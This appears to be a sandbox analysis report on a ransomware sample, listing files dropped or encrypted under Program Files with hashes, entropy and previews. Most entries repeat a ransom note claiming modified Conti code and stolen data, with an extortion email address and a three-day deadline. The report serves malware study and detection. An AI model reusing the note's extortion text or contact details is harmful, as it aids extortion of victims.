Preview:..I.c....K.a...z[)......a}..X.q.....B......#U......R..4..0".....yd,............0}.*..d.v.}...8.H.<.Y.h...g..D.._......e.)+c.!...O.{.W.4Y.CG]...AZ/.1_-..%.]<.z....D.....i.w.b&....@-+.^`..~4.d.lvzi..S.6-v5..|........7.;.0.x.._.?.9..M..hBI.az....,q.8....VU.q#.".87K......;...1.'Y_cUA..kY...i...l../q...Dx.o...zp..a.Io.!.j........-..{.?.W...nT..>9...w..8.Dl<.T#..R8.......CY..1.\.b." 3..Ho`P=..Z|...r..].B..w....@)?..O.o...OfF.|.%..\....7(.).U..Io.._x..=....].\.p..}....[....".;o6p.GM..N_.#..H.P.!7.G.r.......Ka.eE..d.>_.3+...I.4...x.u..[..[u.T..]....P.fj...u.......*,.....u..S&.1%../.T.E;.~.. .(D7:&V..$z_.i.Q.....Fl...d.F/...K...../....oV`f...*..=..L.....c.....K.WPo...<.n.+Lr.50.z.....A...}...o....B.x.s..`..6.E...I.x..x=......9......).9.......$..j...W..3f.>..$l.:%...`!-......^x..g.H..e.:.6..]..T.=G=..o..u.,..4..Y...s...1n.l1r..r.H.~XA....*..E.5G!.aI...3~^..ii.....=.+3.Hm...X4.I.|.......nfS.......\d...1..x..$...ng...Df....+U..-f.d..#....)8..V.@..e..A

C:\Program Files (x86)\Java\jre1.8.0_211\LICENSE

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):578
Entropy (8bit):7.603681485058062
Encrypted:false
SSDEEP:
MD5:2EACE9F870EA192C75650836A8BAC2DA
SHA1:605F0376ED248788EE4B446C49CD29E7DF52C8D9
SHA-256:85A41123062224236B3BFFCF4D509154E9A4C2CAED12A6795B8E573E8DDC6AE8
SHA-512:D1D8EE8FB423C88D06C19443A6B245E3E0F1E48F285DEA13B603F96346ADFD762D1CEAF3C8C01D41425AD9E21640A3A5ECD8FF136A39174F38CF9CC884B62A3A
Malicious:false
Preview::.2..{..X..h....Y..+....qx|..U.q.8[.]../..n..O..7.3K.d..CY.L...X.}....s..~.F>.T.P......_.{_........N[S.tt..j5..G.vr......i....K.E:....<N.5U,......)...Y.T...U.+.b.ZF..39..>K.4S...@C......e&.Wv;...g....,Og.......K.[v..!..vP.|t.+.461.[[....d..m.Ly...S..^...N.{i.S.....bJ.v.j..$.#v-...w.....`..c.....I.-)[...X...:[S#y.....M@.#.HV.....R..VoZ.:.~.......].:..A^.......2sk....<.#.O|....3.M.D..@....Q..:23.h..2........%f...k.7.\...=.tz,...].s\..6Jz..0.z0#5O.z._.`.....v.u..s..$..?7!..*....B...>.p...*"../.;.0.....d...!...Xe.J.2..._WN..................$.,.......

C:\Program Files (x86)\Java\jre1.8.0_211\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Java\jre1.8.0_211\README.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:DOS executable (COM, 0x8C-variant)
Category:dropped
Size (bytes):580
Entropy (8bit):7.590322983075512
Encrypted:false
SSDEEP:
MD5:65BCE5E4136A5C5CC06F33D6E35C5939
SHA1:860C047BFA9EA6CE1E0FD5C71F03344EE0DC54AB
SHA-256:16618E07DEB2C7C0545CD4313FB8591E830F07014FA05B0A1158CC79ED6890E2
SHA-512:A0B127987AB711098D5BA9B01BFADB942B6E2512710D0E0012AD0BC517093AC4BAADE26385A7ABB454E4BDFA711EA9B92C7318CF55907A3778F729F238EE9F54
Malicious:false
Preview:.]...?p..cE!.&.....".f...` .8m...m`-,....fh..`.B.............g"|.P.QB..fNx=..k"t.|.n.5....iG.~.U........B..Z....x<....b'....s.1S.S.....K(#wDn.....8.6L.YM.C..f0,P..L....*..Euf.qR...;{..h..P./....fSCT.....<....[.2...@.*#...1....@bB......B..j....l?.m..*&...F..$....C.*.y.I7..9.`.Z..J.5.s..wj.W..$.H...Su..P.E^5.b>..p0....me}...u.dss....H. $=&.T.95.....6.+.q.U..F... l..{_..JZyhQ..j.B..6.........B..)..i..t.>.M..7....%....qEU...P..V(.......G..8wdHw.]h..W%...f.;....u..!.E7C.?|...#..N.ym].....s<.^.6l...[...N....&.6.L..p...`s.F-.............$.........

C:\Program Files (x86)\Java\jre1.8.0_211\THIRDPARTYLICENSEREADME-JAVAFX.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):113282
Entropy (8bit):7.998275916058112
Encrypted:true
SSDEEP:
MD5:18B1790BF25569059AA9BFCA93608B38
SHA1:D22E79FF34CCF1CD488F01194BDC7921D685E0C5
SHA-256:F23DB603969F27E33E37780DD062786B6BA434D4F83D27F9B89BE2AD43775D05
SHA-512:8B7D9C3A00064EBF9689F09004F865917CCEE3394F5EB2A25BB44DC48D2B8F277BA5000412E234E3183B04482057BB46A6143794DD73D6E55953A5B33195CDC4
Malicious:true
Preview:.K.. .n+.O...{...n/*.Wn..X8$jBaY....+...i.e0.{...%.%.?..M>.S..\&.S#.!T#N.}z.^.hC.<......x.4....e2..bj.....q...e...+........5....X8...{V....FjyAW....JA.....).F.= .zp..l..a=......R9.O...tP.z.Ph]D.1d..B........GL..W....K...{.Y........6.....?.s3..N$.M.$.ph.K.vO...F...6.U..X6.].W..w._W..u..d...~. ..*>+..7....d......|.<k.....>........w...?7M...3..o_$......N\............c...y.9...l.@e.......V..Bu.%A...:.......H.#...........Y.7wn6'1.4. ....";.T.........'Rg .[...B..r@X..!.P!.g.}..+c.YP.._#.]..{....u\Q......'Jt..J5~.>...V...8..g-.....l...#..........:o..*..p....Y.xK.r..(Dz..]..#..R.e........".z.`y..C.>...}.....,...&.jr..s...t}L .1. Q..(.....kN...k...r.c.....3..1q.....q.....@.@..LQI'.].~?.....9.D......#.X}...."..f.m{[.d.2n[. .......u.d..#.;....bi0L..p..L.*<X....v.O+....?2..*...[D.E.fh....p..\&..)PC.U......d...X....!.5.{:...y..v..p.:+.n.S...r.i..q.....".gS-.g..k.........G.HE..h./.A]c.T[_....a.u.G...X........6".....m..........k.N.WT'x..

C:\Program Files (x86)\Java\jre1.8.0_211\THIRDPARTYLICENSEREADME.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):150259
Entropy (8bit):7.998794123955509
Encrypted:true
SSDEEP:
MD5:C842FCF74FFD97228946312F46EFE2C2
SHA1:20B1EFC421C35CFBD271AF773F7D8A710A07D960
SHA-256:3CE6FF32EAEE8223B2E34214313811E465E422637A23E734B820A553C2AB2F2F
SHA-512:40297116E1DB2561C77DED5955D05352B2F01DE60E8A61C38286A8E737CAF9207EADC048304A26A2086F307F3F1351654477407C4E976A707D2421D4CE063C57
Malicious:true
Preview:w.........%.....086ewl.h3a...........>.-.P..~.Qu..+..|.@...@.WyH.i".`.7H...hUI.;.k.K.|..........q...E).m..1.Le.oD...%...'.....r...K_[..A.....Sa.......cB..dp{.K.r.p..p.(..x....E.)..:0.........g<....%...].h......#..k....=.C.V.!mu..3s:5.}%.t4"K.2....RF.P.@..UP.Ci..S.%.Rp.~+..o.q...9......0<.........az+....I.J7;...0i.]h.hO.F.K.qf...\..D..y.d.d........2.....x.....5.......q*k..... 5.9}...V.R.;D<..d...N..m.....G.a....F.e..[.Xa..H...X..C@b*....B...Lo..z..{n.4r.y....s.xi..Q!....~........|.7j.h.......-..5.....}......^."F..+.uq}..}.w.....k...../eA.......XJ.=.I....{.$..|...Q.ep............=..I...........1.4\.)B.Uy_2..s..':.e.yRm....Ccy..y..R.h..G..3.....!KW!.,...l!-.vK.US..Z."..='U.s)..E.....Z.6..pqFBV.b.x:...q}!.JWV...;a.Y..0.WB..ox1.P..~...G.},z.....h..TQ..5.-.a4.q.a.%....%..........Aq...Q.'T..U.S.q+w.G....d4...q.p.N..a[.........J~.....;...#...X4..O9...D...K........n..QK..H.a..g.....\.mM....%U.T...t2.o.i.{........t=....RQy...M%....3F.%.2*...@.

C:\Program Files (x86)\Java\jre1.8.0_211\Welcome.html

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1489
Entropy (8bit):7.855175995328437
Encrypted:false
SSDEEP:
MD5:F3EED53152539C471975C115634572F1
SHA1:D9BBF53ABE2D654A5B83684C118F7EE96D2B960D
SHA-256:1D3498427303D50DCA539A55F4BF1DE89E3BA7AE668EA343CFF348299A7681AB
SHA-512:854CDFD223F1F524B4FEE0418B94B294CD36D7355DE0BA07FDBB7AF06741D7611C8BB22B2E2066B962C2D139A573F00D7689AB3BAC71DB6032ECADD6DF3CB4B0
Malicious:false
Preview:j...7...p.Z@e...K.@.D-.s...s..Ie.L..H.,I.]..:.=..M:...)Y...G{.E{.hi.j..j<..^b.EuFS.z...x.....t.j0I3....>.q.r.~.P.m.Q.....[......U.^*.2.?...nkg..~m...&,v..^.%9*.B.r....{}}.u.....O...4....L'e.#.*. )-..t...Iz....CF..`.L..k...KV4qin..kP.......?..Y.VH@.K.uc...W.O.N1........p..ms...I.W.K.J.t...........k0.[y.....O....j.......a..Tu9...PO..S=..m\2`O.Y...^..bKu.....e.....s<.D....I?Z..kKT....Q......j...}L...=.e...X]QzS...8J9....R.....;.5Y.&.....s.'..&t84`]k..W.#.dZr...9.6.FJ..........1../.n=7....<.p....&..%......<4m...1-O.~.r...H.].I....<.%...%...X>..{O.%...k.*.K....c....CF..jM..{B.,h._<.`>.......FD.jm.....y..|.....O..|I.A4...l....e..".K.==..f)>.].....=.....v...+...Ng...t.<..>..W..ME2..ki.^...r.....=...H-@Z.ui.rB...(....!.....Ki.....i...r.;FK._8..n.a.J/w.....*.....J..R...j.[.LB..< ..H.w|....yr....[...q.....ej6.)..n'..H.t...^..0N...Mt]... "9.{0.s_.z..z.....y.7...4u%NM.Tj.XmE.K.......F..b7$..,..sP..H..7../..O[....o..tSt....A.?D;$..%=.L'9W..6..

C:\Program Files (x86)\Java\jre1.8.0_211\release

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):959
Entropy (8bit):7.755364797184568
Encrypted:false
SSDEEP:
MD5:86574DEAC5DE4EF50F40922830B78466
SHA1:1B8D0A736E584991DC4A20264616007BA1377AB0
SHA-256:FEFFA81EEF70E419F4CE1CF4CFDFA1FF4A608940D19F46085A3B811FAAC8695E
SHA-512:552CB881A0E07AC1A68FB785D5082916C9B988D63A0512848BC2A0F3D5D7E68154455FB759C86C8AEF9DC19D6B3C88A9809930F3DF6E4A485C2104F33ED08C0B
Malicious:false
Preview:..8.=..1..$./P.h.k}..c.9._...c=.i.u.)5..r.`\J...l...v.........*L...#..M./..y.8=.....\..3..&V).f3t.O<.d....6_h.o.iP:..k.`.R.3.n..[....DV>..T.Z.........8b'.5%...q_......\.......g-t'.'5..U.F..........X...!EB...q.~..P.hF..{...N..3.l......T..d...".k#1..$G'r=.w....x.p...5.' $.Jq.9.]$....~z..)u.>C!...e..r......K.....<5..V....7....I.O..q...]I,^x*..:rH=.l.?y.B*q..0SB.}.Y...?.."...b..k..0..8...>s.=i....O.T"..f0Ua.p<.n..6...{.v.5I.;..u*.....!;....$..{...j]...E....:..}Z.....J.. .iYE~........Dd..9R...1X.yT........msy$.(l.."..B...&.]..7..=(o)..&..C...`8k].."..I.U....].z.k..c..m{....V.O......,...<...;g._."r.o.9.+.v.N.<.u[...[....."..c...Hv.~.y....4..^.{q...I...EgOX.&S^.E....A.c..@.*.....8,%.8....G..}....E.!7..m.-....5.o.!.....JLP..T.....<.q...i.l ..-..0.*..x......... .7.....g.#g&x....<..9.X.?....L.f..}...?.....N.L.m{k.T........F.7{FP..&...,...0....3.......=..D..+si.U.. U..UyM..8........C............$.........

C:\Program Files (x86)\MSBuild\Microsoft\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\MSBuild\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Microsoft Analysis Services\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Microsoft Office\CLIPART\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Microsoft Office\Document Themes 16\Facet.thmx

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:modified
Size (bytes):738963
Entropy (8bit):7.999758751105303
Encrypted:true
SSDEEP:
MD5:43640D1BDC20C658BEF8B275E8B53128
SHA1:3EC92A5E8603CCB47B1AB3E412A0D929DF1D3667
SHA-256:7BB802745FC14E91A25944F80C7F86A11B09BAA8324565B9BB602DDEEA414F09
SHA-512:106937B63ED2BFA0338E93D1CDEE08BC6F4F2EB87F328836EA2E4A554581D02EC2FB31AD164524C13D6719D34C14CAA668C1B4710104515B5C7A507FE9B5B352
Malicious:true
Preview:...~5..o..f...3....s.us..d.:...iM..,..W.H..R5!7.2....]e_k...vb.:..c..b....4%7&1.QIG...._.0.p..{..5.....>...{9.Fj.R..I.x@..7/.=....BK...3yOf....7R1....y."[.H.e.1.. ......P..+C.B....[m..I1.....| .....^...o]..u.<.}...m=.S..W.....M..7.@....=X.T..5.`....eV..s....t.V....#.-p..,.U&.4g5F.....hu...9...D....xd..V.*C....m..F+&..D........b.S._...W........E...X..a.D6......+........l..h......o...........Bqyy.3XK.].....F.G..%..SURh.!xU....*.}rR.p..v....t...P0.A..V....\..<G...`7...2$..x%...-..b.....u...N.../.M......U5..J..Vd.3.N .vO.S.\!.7.....7..;.7r.$...Q......wM.....G..ajpv..*.J.S..\....*R..Y!..]..\..^....qWN.V'...[..\q.=^.v...!....v".b.sX..|.T..,.Q.m2....gz.5.P..B.......(..F.?u....G.m.a...7R$?Lk.x..; ..8..~c..{.}..z....`?V..Z...T..a.p.....H.,&h....;.$..q6.} ...#...F.'W.....#t|s...T.I...../.....b.._.....4.?.#0....].^...8....H...;..ZZ9..I..++.r9E.B....!.].m..HR.....m.;:..../.5.e..@BnHQb.u..3.!..)..q..:.a..Lp.....C...n.#.......<.{.>\Y.~.m..

C:\Program Files (x86)\Microsoft Office\Document Themes 16\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Microsoft Office\Office16\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Microsoft Office\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Microsoft Office\Stationery\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Microsoft SQL Server\110\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\Microsoft SQL Server\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
